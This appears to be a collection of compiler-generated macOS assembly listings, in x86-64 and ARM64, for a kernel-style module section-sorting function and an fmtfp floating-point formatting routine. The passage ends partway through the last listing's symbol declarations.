@DEPTH_SIZE .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .p2align 4, 0x90 ## -- Begin function module_verify_canonicalise _module_verify_canonicalise: ## @module_verify_canonicalise .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r13 pushq %r12 pushq %rbx pushq %rax .cfi_offset %rbx, -56 .cfi_offset %r12, -48 .cfi_offset %r13, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movq %rdi, %rbx movl 8(%rdi), %edi shll $3, %edi movq _GFP_KERNEL@GOTPCREL(%rip), %rax movl (%rax), %esi callq _kmalloc movq %rax, (%rbx) testq %rax, %rax je LBB0_1 ## %bb.2: movslq 8(%rbx), %rcx leaq (%rax,%rcx,4), %rdx movq %rdx, 16(%rbx) xorl %r14d, %r14d testq %rcx, %rcx jle LBB0_3 ## %bb.13: movl $1, %edi movl $32, %edx movq _SHF_ALLOC@GOTPCREL(%rip), %rsi jmp LBB0_14 .p2align 4, 0x90 LBB0_17: ## in Loop: Header=BB0_14 Depth=1 leaq 1(%rdi), %r8 movslq %ecx, %r9 addq $32, %rdx cmpq %r9, %rdi movq %r8, %rdi jge LBB0_3 LBB0_14: ## =>This Inner Loop Header: Depth=1 movl 24(%rbx), %r8d cmpq %r8, %rdi je LBB0_17 ## %bb.15: ## in Loop: Header=BB0_14 Depth=1 movq 48(%rbx), %r8 movl (%rsi), %r9d orl (%r8,%rdx), %r9d je LBB0_17 ## %bb.16: ## in Loop: Header=BB0_14 Depth=1 movslq %r14d, %rcx incl %r14d movl %edi, (%rax,%rcx,4) movl 8(%rbx), %ecx jmp LBB0_17 LBB0_3: cmpl $2, %r14d jl LBB0_10 ## %bb.4: leal -1(%r14), %r15d xorl %r12d, %r12d xorl %r13d, %r13d .p2align 4, 0x90 LBB0_5: ## =>This Inner Loop Header: Depth=1 movq (%rbx), %rax movq 32(%rbx), %rcx movq 48(%rbx), %rdx movslq (%rax,%r12,4), %rsi shlq $5, %rsi movslq 24(%rdx,%rsi), %rdi addq %rcx, %rdi movslq 4(%rax,%r12,4), %rax shlq $5, %rax movslq 24(%rdx,%rax), %rsi addq %rcx, %rsi callq _strcmp testq %rax, %rax jle LBB0_7 ## %bb.6: ## in Loop: Header=BB0_5 Depth=1 movq (%rbx), %rax movq (%rax,%r12,4), %xmm0 ## xmm0 = mem[0],zero pshufd $225, %xmm0, %xmm0 ## xmm0 = xmm0[1,0,2,3] movq %xmm0, (%rax,%r12,4) movl $1, %r13d LBB0_7: ## in Loop: Header=BB0_5 Depth=1 incq %r12 cmpq %r15, %r12 jne LBB0_5 ## %bb.8: ## in Loop: Header=BB0_5 Depth=1 testl %r13d, %r13d je LBB0_10 ## %bb.9: ## in Loop: Header=BB0_5 Depth=1 xorl %r12d, %r12d movl $0, %r13d cmpl $1, %r14d jg LBB0_5 LBB0_10: testl %r14d, %r14d jle LBB0_23 ## %bb.11: movq (%rbx), %rsi movq 16(%rbx), %rax movl %r14d, %edi movl %edi, %ecx andl $3, %ecx cmpl $4, %r14d jae LBB0_18 ## %bb.12: xorl %edx, %edx jmp LBB0_20 LBB0_1: movq _ENOMEM@GOTPCREL(%rip), %rcx xorl %eax, %eax subl (%rcx), %eax jmp LBB0_24 LBB0_18: andl $2147483644, %edi ## imm = 0x7FFFFFFC xorl %edx, %edx .p2align 4, 0x90 LBB0_19: ## =>This Inner Loop Header: Depth=1 movslq (%rsi,%rdx,4), %r8 leal 1(%rdx), %r9d movl %r9d, (%rax,%r8,4) movslq 4(%rsi,%rdx,4), %r8 leal 2(%rdx), %r9d movl %r9d, (%rax,%r8,4) movslq 8(%rsi,%rdx,4), %r8 leal 3(%rdx), %r9d movl %r9d, (%rax,%r8,4) movslq 12(%rsi,%rdx,4), %r8 addq $4, %rdx movl %edx, (%rax,%r8,4) cmpq %rdx, %rdi jne LBB0_19 LBB0_20: testq %rcx, %rcx je LBB0_23 ## %bb.21: leaq (%rsi,%rdx,4), %rsi incq %rdx xorl %edi, %edi .p2align 4, 0x90 LBB0_22: ## =>This Inner Loop Header: Depth=1 movslq (%rsi,%rdi,4), %r8 leal (%rdx,%rdi), %r9d movl %r9d, (%rax,%r8,4) incq %rdi cmpq %rdi, %rcx jne LBB0_22 LBB0_23: movl %r14d, 40(%rbx) xorl %eax, %eax LBB0_24: addq $8, %rsp popq %rbx popq %r12 popq %r13 popq %r14 popq %r15 popq %rbp retq .cfi_endproc ## -- End function .comm _GFP_KERNEL,4,2 ## @GFP_KERNEL .comm _ENOMEM,4,2 ## @ENOMEM .comm _SHF_ALLOC,4,2 ## @SHF_ALLOC .comm _SHT_REL,8,3 ## @SHT_REL .comm _SHT_RELA,8,3 ## @SHT_RELA .no_dead_strip _module_verify_canonicalise .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .p2align 2 ; -- Begin function module_verify_canonicalise _module_verify_canonicalise: ; @module_verify_canonicalise .cfi_startproc ; %bb.0: stp x24, x23, [sp, #-64]! ; 16-byte Folded Spill stp x22, x21, [sp, #16] ; 16-byte Folded Spill stp x20, x19, [sp, #32] ; 16-byte Folded Spill stp x29, x30, [sp, #48] ; 16-byte Folded Spill add x29, sp, #48 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 .cfi_offset w23, -56 .cfi_offset w24, -64 mov x19, x0 ldr w8, [x0, #8] lsl w0, w8, #3 Lloh0: adrp x8, _GFP_KERNEL@GOTPAGE Lloh1: ldr x8, [x8, _GFP_KERNEL@GOTPAGEOFF] Lloh2: ldr w1, [x8] bl _kmalloc str x0, [x19] cbz x0, LBB0_7 ; %bb.1: ldrsw x8, [x19, #8] add x9, x0, x8, lsl #2 str x9, [x19, #16] cmp w8, #1 b.lt LBB0_8 ; %bb.2: mov w20, #0 ; =0x0 mov w11, #1 ; =0x1 mov w9, #32 ; =0x20 Lloh3: adrp x10, _SHF_ALLOC@GOTPAGE Lloh4: ldr x10, [x10, _SHF_ALLOC@GOTPAGEOFF] b LBB0_4 LBB0_3: ; in Loop: Header=BB0_4 Depth=1 cmp x11, w8, sxtw add x11, x11, #1 add x9, x9, #32 b.ge LBB0_9 LBB0_4: ; =>This Inner Loop Header: Depth=1 ldr w12, [x19, #24] cmp x11, x12 b.eq LBB0_3 ; %bb.5: ; in Loop: Header=BB0_4 Depth=1 ldr x12, [x19, #48] ldr w12, [x12, x9] ldr w13, [x10] orr w12, w13, w12 cbz w12, LBB0_3 ; %bb.6: ; in Loop: Header=BB0_4 Depth=1 str w11, [x0, w20, sxtw #2] add w20, w20, #1 ldr w8, [x19, #8] b LBB0_3 LBB0_7: Lloh5: adrp x8, _ENOMEM@GOTPAGE Lloh6: ldr x8, [x8, _ENOMEM@GOTPAGEOFF] Lloh7: ldr w8, [x8] neg w0, w8 b LBB0_20 LBB0_8: mov w20, #0 ; =0x0 LBB0_9: subs w21, w20, #1 b.le LBB0_16 ; %bb.10: mov x23, #0 ; =0x0 mov w22, #0 ; =0x0 LBB0_11: ; =>This Inner Loop Header: Depth=1 ldr x8, [x19, #32] ldr x9, [x19, #48] ldr x10, [x19] ldrsw x11, [x10, x23, lsl #2] add x11, x9, x11, lsl #5 ldrsw x11, [x11, #24] add x24, x23, #1 ldrsw x10, [x10, x24, lsl #2] add x9, x9, x10, lsl #5 ldrsw x9, [x9, #24] add x0, x8, x11 add x1, x8, x9 bl _strcmp cmp x0, #1 b.lt LBB0_13 ; %bb.12: ; in Loop: Header=BB0_11 Depth=1 ldr x8, [x19] lsl x9, x23, #2 ldr d0, [x8, x9] rev64.2s v0, v0 str d0, [x8, x9] mov w22, #1 ; =0x1 LBB0_13: ; in Loop: Header=BB0_11 Depth=1 mov x23, x24 cmp x24, x21 b.ne LBB0_11 ; %bb.14: ; in Loop: Header=BB0_11 Depth=1 cbz w22, LBB0_16 ; %bb.15: ; in Loop: Header=BB0_11 Depth=1 mov x23, #0 ; =0x0 mov w22, #0 ; =0x0 cmp w20, #1 b.gt LBB0_11 LBB0_16: cmp w20, #1 b.lt LBB0_19 ; %bb.17: ldr x8, [x19, #16] ldr x9, [x19] mov w10, w20 mov w11, #1 ; =0x1 LBB0_18: ; =>This Inner Loop Header: Depth=1 ldrsw x12, [x9], #4 str w11, [x8, x12, lsl #2] add w11, w11, #1 subs x10, x10, #1 b.ne LBB0_18 LBB0_19: mov w0, #0 ; =0x0 str w20, [x19, #40] LBB0_20: ldp x29, x30, [sp, #48] ; 16-byte Folded Reload ldp x20, x19, [sp, #32] ; 16-byte Folded Reload ldp x22, x21, [sp, #16] ; 16-byte Folded Reload ldp x24, x23, [sp], #64 ; 16-byte Folded Reload ret .loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2 .loh AdrpLdrGot Lloh3, Lloh4 .loh AdrpLdrGotLdr Lloh5, Lloh6, Lloh7 .cfi_endproc ; -- End function .comm _GFP_KERNEL,4,2 ; @GFP_KERNEL .comm _ENOMEM,4,2 ; @ENOMEM .comm _SHF_ALLOC,4,2 ; @SHF_ALLOC .comm _SHT_REL,8,3 ; @SHT_REL .comm _SHT_RELA,8,3 ; @SHT_RELA .no_dead_strip _module_verify_canonicalise .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .section __TEXT,__literal8,8byte_literals .p2align 3, 0x0 ## -- Begin function fmtfp LCPI0_0: .quad 0x3f1a36e2eb1c432d ## double 1.0E-4 LCPI0_1: .quad 0x4024000000000000 ## double 10 LCPI0_2: .quad 0x3ff0000000000000 ## double 1 LCPI0_3: .quad 0x43e0000000000000 ## double 9.2233720368547758E+18 .section __TEXT,__literal16,16byte_literals .p2align 4, 0x0 LCPI0_4: .long 1127219200 ## 0x43300000 .long 1160773632 ## 0x45300000 .long 0 ## 0x0 .long 0 ## 0x0 LCPI0_5: .quad 0x4330000000000000 ## double 4503599627370496 .quad 0x4530000000000000 ## double 1.9342813113834067E+25 .section __TEXT,__text,regular,pure_instructions .p2align 4, 0x90 _fmtfp: ## @fmtfp .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r13 pushq %r12 pushq %rbx subq $184, %rsp .cfi_offset %rbx, -56 .cfi_offset %r12, -48 .cfi_offset %r13, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movl %r8d, -176(%rbp) ## 4-byte Spill movapd %xmm0, %xmm3 movq %rcx, %r15 movq %rdx, %r12 movq %rdi, -168(%rbp) ## 8-byte Spill movl 24(%rbp), %edi movq ___stack_chk_guard@GOTPCREL(%rip), %rax movq (%rax), %rax movq %rax, -48(%rbp) testl %r9d, %r9d movl $6, %r10d cmovnsl %r9d, %r10d movq _DP_F_PLUS@GOTPCREL(%rip), %rax xorl %ecx, %ecx movl (%rax), %eax orl 16(%rbp), %eax setne %r14b movl $43, %eax cmovel %ecx, %eax xorpd %xmm0, %xmm0 ucomisd %xmm3, %xmm0 seta %r8b movl $45, %edx cmovbel %eax, %edx movq _G_FORMAT@GOTPCREL(%rip), %r9 movl %edi, %ecx cmpl %edi, (%r9) movb %r8b, -145(%rbp) ## 1-byte Spill jne LBB0_9 ## %bb.1: ucomisd %xmm0, %xmm3 jne LBB0_3 jp LBB0_3 LBB0_2: movq _F_FORMAT@GOTPCREL(%rip), %rax jmp LBB0_8 LBB0_3: movsd LCPI0_0(%rip), %xmm0 ## xmm0 = [1.0E-4,0.0E+0] ucomisd %xmm3, %xmm0 ja LBB0_7 ## %bb.4: testl %r10d, %r10d sete %al ucomisd LCPI0_1(%rip), %xmm3 setae %cl testb %al, %cl jne LBB0_7 ## %bb.5: testl %r10d, %r10d je LBB0_2 ## %bb.6: movl %r10d, %edi movq %rsi, %rbx movl %edx, %r13d movl %r10d, -152(%rbp) ## 4-byte Spill movsd %xmm3, -160(%rbp) ## 8-byte Spill callq _pow_10 movsd -160(%rbp), %xmm3 ## 8-byte Reload ## xmm3 = mem[0],zero movl -152(%rbp), %r10d ## 4-byte Reload movl 24(%rbp), %edi movl %r13d, %edx movq _G_FORMAT@GOTPCREL(%rip), %r9 movq %rbx, %rsi ucomisd %xmm0, %xmm3 jb LBB0_2 LBB0_7: movq _E_FORMAT@GOTPCREL(%rip), %rax LBB0_8: movl (%rax), %ecx LBB0_9: movq %rsi, -160(%rbp) ## 8-byte Spill movq _F_FORMAT@GOTPCREL(%rip), %rax movl (%rax), %eax xorl %r13d, %r13d cmpl %edi, %eax movl %ecx, -172(%rbp) ## 4-byte Spill movl %edx, -188(%rbp) ## 4-byte Spill jne LBB0_11 ## %bb.10: movl %r10d, -152(%rbp) ## 4-byte Spill xorl %ebx, %ebx jmp LBB0_27 LBB0_11: xorpd %xmm0, %xmm0 ucomisd %xmm0, %xmm3 jne LBB0_12 jnp LBB0_16 LBB0_12: movsd LCPI0_2(%rip), %xmm1 ## xmm1 = [1.0E+0,0.0E+0] xorl %ebx, %ebx ucomisd %xmm3, %xmm1 jbe LBB0_17 ## %bb.13: movsd LCPI0_1(%rip), %xmm2 ## xmm2 = [1.0E+1,0.0E+0] movapd %xmm3, %xmm0 .p2align 4, 0x90 LBB0_14: ## =>This Inner Loop Header: Depth=1 mulsd %xmm2, %xmm0 incq %rbx ucomisd %xmm0, %xmm1 ja LBB0_14 ## %bb.15: ucomisd LCPI0_1(%rip), %xmm0 ja LBB0_18 jmp LBB0_20 LBB0_16: xorl %ebx, %ebx movapd %xmm3, %xmm0 jmp LBB0_20 LBB0_17: movapd %xmm3, %xmm0 ucomisd LCPI0_1(%rip), %xmm0 jbe LBB0_20 LBB0_18: movsd LCPI0_1(%rip), %xmm1 ## xmm1 = [1.0E+1,0.0E+0] .p2align 4, 0x90 LBB0_19: ## =>This Inner Loop Header: Depth=1 divsd %xmm1, %xmm0 incq %rbx ucomisd %xmm1, %xmm0 ja LBB0_19 LBB0_20: cmpl %edi, (%r9) jne LBB0_24 ## %bb.21: cmpl $1, %r10d adcl $0, %r10d cmpl %eax, %ecx jne LBB0_23 ## %bb.22: movl %ebx, %eax notl %eax addl %eax, %r10d jns LBB0_24 jmp LBB0_81 LBB0_23: decl %r10d LBB0_24: movq _E_FORMAT@GOTPCREL(%rip), %rax cmpl (%rax), %ecx je LBB0_26 ## %bb.25: movapd %xmm3, %xmm0 LBB0_26: movl %r10d, -152(%rbp) ## 4-byte Spill movapd %xmm0, %xmm3 LBB0_27: movapd %xmm3, %xmm0 callq _abs_val movq _ULONG_MAX@GOTPCREL(%rip), %rax ucomisd (%rax), %xmm0 ja LBB0_82 ## %bb.28: movq %r12, -184(%rbp) ## 8-byte Spill movq %r15, -200(%rbp) ## 8-byte Spill orb %r14b, -145(%rbp) ## 1-byte Folded Spill cvttsd2si %xmm0, %rax movq %rax, %rcx sarq $63, %rcx movapd %xmm0, -224(%rbp) ## 16-byte Spill subsd LCPI0_3(%rip), %xmm0 cvttsd2si %xmm0, %r14 andq %rcx, %r14 orq %rax, %r14 movl -152(%rbp), %eax ## 4-byte Reload cmpl $9, %eax movl $9, %r13d cmovll %eax, %r13d movl %r13d, %edi callq _pow_10 callq _roundv movq %rax, %r15 movl %r13d, %edi callq _pow_10 movq %r14, %xmm1 punpckldq LCPI0_4(%rip), %xmm1 ## xmm1 = xmm1[0],mem[0],xmm1[1],mem[1] subpd LCPI0_5(%rip), %xmm1 movapd %xmm1, %xmm2 unpckhpd %xmm1, %xmm2 ## xmm2 = xmm2[1],xmm1[1] addsd %xmm1, %xmm2 movapd -224(%rbp), %xmm1 ## 16-byte Reload subsd %xmm2, %xmm1 mulsd %xmm1, %xmm0 callq _roundv movq %rax, %rcx cmpq %r15, %rax sbbq $-1, %r14 xorl %eax, %eax cmpq %r15, %rcx cmovbq %rax, %r15 leaq L_.str(%rip), %rdi movabsq $-3689348814741910323, %rsi ## imm = 0xCCCCCCCCCCCCCCCD .p2align 4, 0x90 LBB0_29: ## =>This Inner Loop Header: Depth=1 movq %rax, %r8 movq %r14, %rax mulq %rsi shrq $3, %rdx leaq (%rdx,%rdx), %rax leaq (%rax,%rax,4), %rax movq %r14, %r9 subq %rax, %r9 movzbl (%rdi,%r9), %eax movb %al, -80(%rbp,%r8) leaq 1(%r8), %rax cmpq $18, %r8 ja LBB0_31 ## %bb.30: ## in Loop: Header=BB0_29 Depth=1 cmpq $9, %r14 movq %rdx, %r14 ja LBB0_29 LBB0_31: leaq -1(%rax), %r12 cmpq $20, %rax cmovneq %rax, %r12 movb $0, -80(%rbp,%r12) xorl %r14d, %r14d movl $0, %eax movl -152(%rbp), %edx ## 4-byte Reload testl %edx, %edx movl 24(%rbp), %r11d jle LBB0_47 ## %bb.32: subq %r15, %rcx movq _G_FORMAT@GOTPCREL(%rip), %rax movl (%rax), %r9d cmpl $9, %edx movl $9, %r8d cmovbl %edx, %r8d .p2align 4, 0x90 LBB0_33: ## =>This Inner Loop Header: Depth=1 movq %rcx, %rax mulq %rsi shrq $3, %rdx leaq (%rdx,%rdx), %rax leaq (%rax,%rax,4), %r10 movq %rcx, %rax subq %r10, %rax cmpl %r11d, %r9d jne LBB0_37 ## %bb.34: ## in Loop: Header=BB0_33 Depth=1 testq %rax, %rax jne LBB0_37 ## %bb.35: ## in Loop: Header=BB0_33 Depth=1 movq %rcx, %rax mulq %rsi movq %rdx, %rcx shrq $3, %rcx leaq -1(%r8), %r13 cmpq $1, %r8 movq %r13, %r8 jg LBB0_33 ## %bb.36: xorl %eax, %eax jmp LBB0_47 LBB0_37: movzbl (%rax,%rdi), %eax movb %al, -112(%rbp) movl $1, %r13d movl $1, %eax cmpq $1, %r8 jbe LBB0_47 ## %bb.38: movabsq $1844674407370955162, %r9 ## imm = 0x199999999999999A movq %rdx, %rax movq %rdx, %rsi mulq %r9 addq %rdx, %rdx leaq (%rdx,%rdx,4), %rax subq %rax, %rsi movzbl (%rdi,%rsi), %eax movb %al, -111(%rbp) movl $2, %eax cmpq $3, %r8 jl LBB0_46 ## %bb.39: movq %rcx, %rax shrq $2, %rax movabsq $2951479051793528259, %rdx ## imm = 0x28F5C28F5C28F5C3 mulq %rdx movq %rdx, %rsi shrq $2, %rsi movq %rsi, %rax mulq %r9 addq %rdx, %rdx leaq (%rdx,%rdx,4), %rax subq %rax, %rsi movzbl (%rdi,%rsi), %eax movb %al, -110(%rbp) movl $3, %eax cmpq $3, %r8 je LBB0_46 ## %bb.40: movq %rcx, %rax shrq $3, %rax movabsq $2361183241434822607, %rdx ## imm = 0x20C49BA5E353F7CF mulq %rdx movq %rdx, %rsi shrq $4, %rsi movq %rsi, %rax mulq %r9 addq %rdx, %rdx leaq (%rdx,%rdx,4), %rax subq %rax, %rsi movzbl (%rdi,%rsi), %eax movb %al, -109(%rbp) movl $4, %eax cmpq $5, %r8 jl LBB0_46 ## %bb.41: movabsq $3777893186295716171, %rdx ## imm = 0x346DC5D63886594B movq %rcx, %rax mulq %rdx movq %rdx, %rsi shrq $11, %rsi movq %rsi, %rax mulq %r9 addq %rdx, %rdx leaq (%rdx,%rdx,4), %rax subq %rax, %rsi movzbl (%rdi,%rsi), %eax movb %al, -108(%rbp) movl $5, %eax cmpq $5, %r8 je LBB0_46 ## %bb.42: movq %rcx, %rax shrq $5, %rax movabsq $755578637259143235, %rdx ## imm = 0xA7C5AC471B47843 mulq %rdx movq %rdx, %rsi shrq $7, %rsi movq %rsi, %rax mulq %r9 addq %rdx, %rdx leaq (%rdx,%rdx,4), %rax subq %rax, %rsi movzbl (%rdi,%rsi), %eax movb %al, -107(%rbp) movl $6, %eax cmpq $7, %r8 jl LBB0_46 ## %bb.43: movabsq $4835703278458516699, %rdx ## imm = 0x431BDE82D7B634DB movq %rcx, %rax mulq %rdx movq %rdx, %rsi shrq $18, %rsi movq %rsi, %rax mulq %r9 addq %rdx, %rdx leaq (%rdx,%rdx,4), %rax subq %rax, %rsi movzbl (%rdi,%rsi), %eax movb %al, -106(%rbp) movl $7, %eax cmpq $7, %r8 je LBB0_46 ## %bb.44: movabsq $-2972493582642298179, %rdx ## imm = 0xD6BF94D5E57A42BD movq %rcx, %rax mulq %rdx movq %rdx, %rsi shrq $23, %rsi movq %rsi, %rax mulq %r9 addq %rdx, %rdx leaq (%rdx,%rdx,4), %rax subq %rax, %rsi movzbl (%rdi,%rsi), %eax movb %al, -105(%rbp) movl $8, %eax cmpq $9, %r8 jl LBB0_46 ## %bb.45: movabsq $-6067343680855748867, %rdx ## imm = 0xABCC77118461CEFD movq %rcx, %rax mulq %rdx movq %rdx, %rcx shrq $26, %rcx movq %rcx, %rax mulq %r9 addq %rdx, %rdx leaq (%rdx,%rdx,4), %rax subq %rax, %rcx movzbl (%rdi,%rcx), %eax movb %al, -104(%rbp) movl $9, %eax LBB0_46: movl %r8d, %r13d LBB0_47: movl %eax, %ecx movq %rcx, -224(%rbp) ## 8-byte Spill movb $0, -112(%rbp,%rcx) movq _E_FORMAT@GOTPCREL(%rip), %rcx movl (%rcx), %ecx movl -172(%rbp), %r8d ## 4-byte Reload cmpl %ecx, %r8d movq -200(%rbp), %r15 ## 8-byte Reload jne LBB0_55 ## %bb.48: xorl %r14d, %r14d movl $3435973837, %esi ## imm = 0xCCCCCCCD .p2align 4, 0x90 LBB0_49: ## =>This Inner Loop Header: Depth=1 movl %ebx, %edx movq %r14, %r8 movslq %ebx, %r9 imulq $1717986919, %r9, %r10 ## imm = 0x66666667 movq %r10, %r11 shrq $63, %r11 sarq $34, %r10 addl %r11d, %r10d addl %r10d, %r10d leal (%r10,%r10,4), %r10d subl %r10d, %r9d movslq %r9d, %r9 movzbl (%r9,%rdi), %r9d movb %r9b, -144(%rbp,%r14) incq %r14 cmpq $18, %r8 ja LBB0_51 ## %bb.50: ## in Loop: Header=BB0_49 Depth=1 movl %edx, %ebx imulq %rsi, %rbx shrq $35, %rbx cmpl $9, %edx jg LBB0_49 LBB0_51: cmpq $1, %r14 jne LBB0_54 ## %bb.52: cmpl $9, %edx jg LBB0_54 ## %bb.53: movb $48, -143(%rbp) movl $2, %r14d movl -172(%rbp), %r8d ## 4-byte Reload jmp LBB0_55 LBB0_54: cmpl $9, %edx movl -172(%rbp), %r8d ## 4-byte Reload jg LBB0_81 LBB0_55: xorl %edx, %edx testl %r13d, %r13d setg %dl movl $-2, %esi subl %r14d, %esi xorl %edi, %edi cmpl %ecx, %r8d cmovnel %edi, %esi movzbl -145(%rbp), %r9d ## 1-byte Folded Reload movzbl %r9b, %ecx andl $1, %ecx movl -176(%rbp), %r8d ## 4-byte Reload subl %ecx, %r8d subl %r13d, %r8d subl %r12d, %r8d subl %edx, %r8d addl %esi, %r8d movl %r13d, %ecx subl %eax, %ecx testl %ecx, %ecx movl $0, %eax movl %ecx, -176(%rbp) ## 4-byte Spill cmovgl %ecx, %eax movl %eax, -152(%rbp) ## 4-byte Spill testl %r8d, %r8d cmovlel %edi, %r8d movq _DP_F_MINUS@GOTPCREL(%rip), %rax movl %r8d, %ebx negl %ebx movl 16(%rbp), %ecx testl %ecx, (%rax) cmovel %r8d, %ebx movq _DP_F_ZERO@GOTPCREL(%rip), %rax testl %ecx, (%rax) je LBB0_64 ## %bb.56: testl %ebx, %ebx jle LBB0_64 ## %bb.57: testb $1, %r9b je LBB0_60 ## %bb.58: movq -168(%rbp), %rdi ## 8-byte Reload movq -160(%rbp), %rsi ## 8-byte Reload movq -184(%rbp), %rdx ## 8-byte Reload movq %r15, %rcx movl -188(%rbp), %r8d ## 4-byte Reload callq _doapr_outch testl %eax, %eax je LBB0_81 ## %bb.59: decl %ebx je LBB0_71 LBB0_60: incl %ebx .p2align 4, 0x90 LBB0_61: ## =>This Inner Loop Header: Depth=1 movq -168(%rbp), %rdi ## 8-byte Reload movq -160(%rbp), %rsi ## 8-byte Reload movq -184(%rbp), %rdx ## 8-byte Reload movq %r15, %rcx movl $48, %r8d callq _doapr_outch testl %eax, %eax je LBB0_81 ## %bb.62: ## in Loop: Header=BB0_61 Depth=1 decl %ebx cmpl $2, %ebx jge LBB0_61 LBB0_71: xorl %ebx, %ebx jmp LBB0_72 LBB0_64: testl %ebx, %ebx jle LBB0_69 ## %bb.65: incl %ebx .p2align 4, 0x90 LBB0_66: ## =>This Inner Loop Header: Depth=1 movq -168(%rbp), %rdi ## 8-byte Reload movq -160(%rbp), %rsi ## 8-byte Reload movq -184(%rbp), %rdx ## 8-byte Reload movq %r15, %rcx movl $32, %r8d callq _doapr_outch testl %eax, %eax je LBB0_81 ## %bb.67: ## in Loop: Header=BB0_66 Depth=1 decl %ebx cmpl $1, %ebx jg LBB0_66 ## %bb.68: xorl %ebx, %ebx LBB0_69: movl -188(%rbp), %r8d ## 4-byte Reload testl %r8d, %r8d je LBB0_72 ## %bb.70: movq -168(%rbp), %rdi ## 8-byte Reload movq -160(%rbp), %rsi ## 8-byte Reload movq -184(%rbp), %rdx ## 8-byte Reload movq %r15, %rcx callq _doapr_outch testl %eax, %eax je LBB0_81 LBB0_72: leaq -80(%rbp), %rax leaq (%r12,%rax), %r15 decq %r15 .p2align 4, 0x90 LBB0_73: ## =>This Inner Loop Header: Depth=1 testl %r12d, %r12d jle LBB0_75 ## %bb.74: ## in Loop: Header=BB0_73 Depth=1 movsbl (%r15), %r8d movq -168(%rbp), %rdi ## 8-byte Reload movq -160(%rbp), %rsi ## 8-byte Reload movq -184(%rbp), %rdx ## 8-byte Reload movq -200(%rbp), %rcx ## 8-byte Reload callq _doapr_outch decq %r15 decl %r12d testl %eax, %eax jne LBB0_73 jmp LBB0_81 LBB0_75: testl %r13d, %r13d movq -200(%rbp), %r15 ## 8-byte Reload movq -184(%rbp), %r12 ## 8-byte Reload jg LBB0_77 ## %bb.76: movq _DP_F_NUM@GOTPCREL(%rip), %rax movl 16(%rbp), %ecx testl %ecx, (%rax) je LBB0_84 LBB0_77: movq -168(%rbp), %rdi ## 8-byte Reload movq -160(%rbp), %rsi ## 8-byte Reload movq %r12, %rdx movq %r15, %rcx movl $46, %r8d callq _doapr_outch xorl %r13d, %r13d testl %eax, %eax je LBB0_82 ## %bb.78: movq -224(%rbp), %r13 ## 8-byte Reload .p2align 4, 0x90 LBB0_79: ## =>This Inner Loop Header: Depth=1 testl %r13d, %r13d jle LBB0_84 ## %bb.80: ## in Loop: Header=BB0_79 Depth=1 movsbl -113(%rbp,%r13), %r8d decq %r13 movq -168(%rbp), %rdi ## 8-byte Reload movq -160(%rbp), %rsi ## 8-byte Reload movq %r12, %rdx movq %r15, %rcx callq _doapr_outch testl %eax, %eax jne LBB0_79 LBB0_81: xorl %r13d, %r13d LBB0_82: movq ___stack_chk_guard@GOTPCREL(%rip), %rax movq (%rax), %rax cmpq -48(%rbp), %rax jne LBB0_98 ## %bb.83: movl %r13d, %eax addq $184, %rsp popq %rbx popq %r12 popq %r13 popq %r14 popq %r15 popq %rbp retq LBB0_84: cmpl $0, -176(%rbp) ## 4-byte Folded Reload movq -160(%rbp), %r13 ## 8-byte Reload jle LBB0_88 ## %bb.85: incl -152(%rbp) ## 4-byte Folded Spill .p2align 4, 0x90 LBB0_86: ## =>This Inner Loop Header: Depth=1 movq -168(%rbp), %rdi ## 8-byte Reload movq %r13, %rsi movq %r12, %rdx movq %r15, %rcx movl $48, %r8d callq _doapr_outch testl %eax, %eax je LBB0_81 ## %bb.87: ## in Loop: Header=BB0_86 Depth=1 movl -152(%rbp), %eax ## 4-byte Reload decl %eax movl %eax, -152(%rbp) ## 4-byte Spill cmpl $2, %eax jge LBB0_86 LBB0_88: movl -172(%rbp), %eax ## 4-byte Reload movq _E_FORMAT@GOTPCREL(%rip), %rcx cmpl (%rcx), %eax jne LBB0_94 ## %bb.89: movq _DP_F_UP@GOTPCREL(%rip), %rax xorl %r8d, %r8d movl 16(%rbp), %ecx testl %ecx, (%rax) sete %r8b shll $5, %r8d orl $69, %r8d movq -168(%rbp), %rdi ## 8-byte Reload movq -160(%rbp), %rsi ## 8-byte Reload movq %r12, %rdx movq %r15, %rcx callq _doapr_outch xorl %r13d, %r13d testl %eax, %eax je LBB0_82 ## %bb.90: movq -168(%rbp), %rdi ## 8-byte Reload movq -160(%rbp), %rsi ## 8-byte Reload movq %r12, %rdx movq %r15, %rcx movl $43, %r8d callq _doapr_outch testl %eax, %eax je LBB0_82 ## %bb.91: movl %r14d, %r14d LBB0_92: ## =>This Inner Loop Header: Depth=1 testq %r14, %r14 jle LBB0_94 ## %bb.93: ## in Loop: Header=BB0_92 Depth=1 movsbl -145(%rbp,%r14), %r8d decq %r14 movq -168(%rbp), %rdi ## 8-byte Reload movq -160(%rbp), %rsi ## 8-byte Reload movq %r12, %rdx movq %r15, %rcx callq _doapr_outch testl %eax, %eax jne LBB0_92 jmp LBB0_82 LBB0_94: movl $1, %r13d testl %ebx, %ebx jns LBB0_82 ## %bb.95: movq -168(%rbp), %r14 ## 8-byte Reload LBB0_96: ## =>This Inner Loop Header: Depth=1 movq %r14, %rdi movq -160(%rbp), %rsi ## 8-byte Reload movq %r12, %rdx movq %r15, %rcx movl $32, %r8d callq _doapr_outch testl %eax, %eax je LBB0_81 ## %bb.97: ## in Loop: Header=BB0_96 Depth=1 incl %ebx jne LBB0_96 jmp LBB0_82 LBB0_98: callq ___stack_chk_fail .cfi_endproc ## -- End function .comm _DP_F_PLUS,4,2 ## @DP_F_PLUS .comm _DP_F_SPACE,4,2 ## @DP_F_SPACE .comm _G_FORMAT,4,2 